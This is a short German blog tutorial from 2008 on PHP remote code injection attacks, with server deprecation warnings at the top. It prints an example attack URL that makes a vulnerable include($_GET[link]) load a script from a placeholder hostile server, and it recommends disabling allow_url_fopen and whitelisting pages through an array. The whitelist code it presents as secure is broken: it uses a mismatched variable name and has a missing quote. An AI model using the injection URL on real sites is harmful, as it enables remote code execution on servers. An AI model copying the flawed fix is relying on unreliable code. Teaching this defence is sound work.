Deprecated: Assigning the return value of new by reference is deprecated in /var/www/vhosts/alin.eu/subdomains/blog/httpdocs/wp-settings.php on line 472 Deprecated: Assigning the return value of new by reference is deprecated in /var/www/vhosts/alin.eu/subdomains/blog/httpdocs/wp-settings.php on line 487 Deprecated: Assigning the return value of new by reference is deprecated in /var/www/vhosts/alin.eu/subdomains/blog/httpdocs/wp-settings.php on line 494 Deprecated: Assigning the return value of new by reference is deprecated in /var/www/vhosts/alin.eu/subdomains/blog/httpdocs/wp-settings.php on line 530 Deprecated: Assigning the return value of new by reference is deprecated in /var/www/vhosts/alin.eu/subdomains/blog/httpdocs/wp-includes/cache.php on line 103 Deprecated: Assigning the return value of new by reference is deprecated in /var/www/vhosts/alin.eu/subdomains/blog/httpdocs/wp-includes/query.php on line 21 Deprecated: Assigning the return value of new by reference is deprecated in /var/www/vhosts/alin.eu/subdomains/blog/httpdocs/wp-includes/theme.php on line 623 Web und Netzwerk » PHP - Code Injection Angriffe » Schweinfurt den ...

PHP - Code Injection Angriffe

Einige Personen sind der Meinung, dass PHP per se eine unsichere Programmiersprache ist. Wie kommt man darauf? Die Sprache kann IMHO nur insoweit etwas für Ihren Ruf, als dass sie es dem Programmierer erlaubt ziemlich einfach komplexe Operationen aneinanderzureihen, die im Zusammenspiel dann zum Sicherheitsloch werden.

Wie läuft eine PHP Code Injection grundsätzlich ab? Wie auf Glorf IT erwähnt gibt es jede Menge Angreifer, die versuchen durch automatische Spider das Web nach Sicherheitslöchern abzugrasen um diese anschließend auszunutzen. Nicht selten versuchen sie durch Übergabe einer Adresse in der URL z.B. http://www.alin.eu/?link=http://boeseseite/boesesscript.php ein boeses Skript auf meinem Server auszuführen. Solche Aufrufe findet man fast häufiger im Serverlog als richtige Seitenzugriffe von Besuchern.

Wenn man im PHP Code nun so etwas wie include($_GET[link]) stehen hat, was manche Content Management Systeme hin und wieder tatsächlich verwenden um Inhalt aus anderen Dateien einzubinden, wird der Schadcode vom fremden Server hereingeladen. Es kann beliebiger schädlicher PHP-Code ausgeführt werden.

Gegen solche Angriffe kann man sich noch relativ einfach schützen, indem man in der php.ini den Eintrag allow_url_fopen=On auf allow_url_fopen=Off setzt. Dann können keine Dateien mehr von anderen Servern aufgerufen werden. Nachteil: Auch alle anderen PHP Skripte können nicht mehr auf Dateien von anderen Servern zugreifen. Zudem kann der Angreifer immer noch Code ausführen, wenn er an anderer Stelle die Gelegenheit bekommt Dateien auf den Server abzulegen. Ein typischen Fall wie das funktioniert ist im Flashforum humorvoll erklärt.

Eine wie ich behaupte sichere Methode ist es, die Benutzereingaben nicht direkt zu verwenden, sondern sie zum Beispiel über ein assoziatives Array einer vorgegebenen Seite zuzuordnen.


$arraymap = array(
'index' => 'index.php',
'impressum' => 'impressum.php',
//usw
);

if(!empty($_GET['link']) && isset($inclmap[$_GET['link']])) {
$content = $arraymap[$_GET['link]];
} else {
//Startseite aufrufen oder 404
}

include($content);

Natürlich gibt es noch viele weitere Angriffsmöglichkeiten im Zusammenhang mit PHP. Auf nettuts.com wird eine kleine Übersicht gegeben.

Weitere Sicherheitslücken die nicht direkt etwas mit PHP zu tun haben, aber häufig in interaktiven Webumgebungen anzutreffen sind Cross-Site-Scripting (XSS) Lücken. (siehe Wikipedia)

Auch Wordpress Blogs sind immer mal wieder Opfer von solchen Angriffen. Wie man sein Wordpress Blog einigermaßen vor Angriffen schützt erfährt man bei brajeshwar.com (Englisch).

Ich erhebe mit dem Tutorial natürlich keinen Anspruch auf Vollständigkeit. Kommentare und Hinweise sind herzlich erwünscht.

Tags » , , «


Artikel geschrieben am: 18. July 2008 10:45 in Schweinfurt
Optionen: Trackback-URL | Artikel kommentieren

Weitere Artikel in diesem Themengebiet: Entwicklung

Ein Kommentar

  1. 1

    Gute Einführung in das Thema, danke.

Hat Ihnen der Artikel geholfen? Kommentar schreiben:

blogoscoop
Stoppt die Vorratsdatenspeicherung! Jetzt klicken & handeln!Willst du auch bei der Aktion teilnehmen? Hier findest du alle relevanten Infos und Materialien: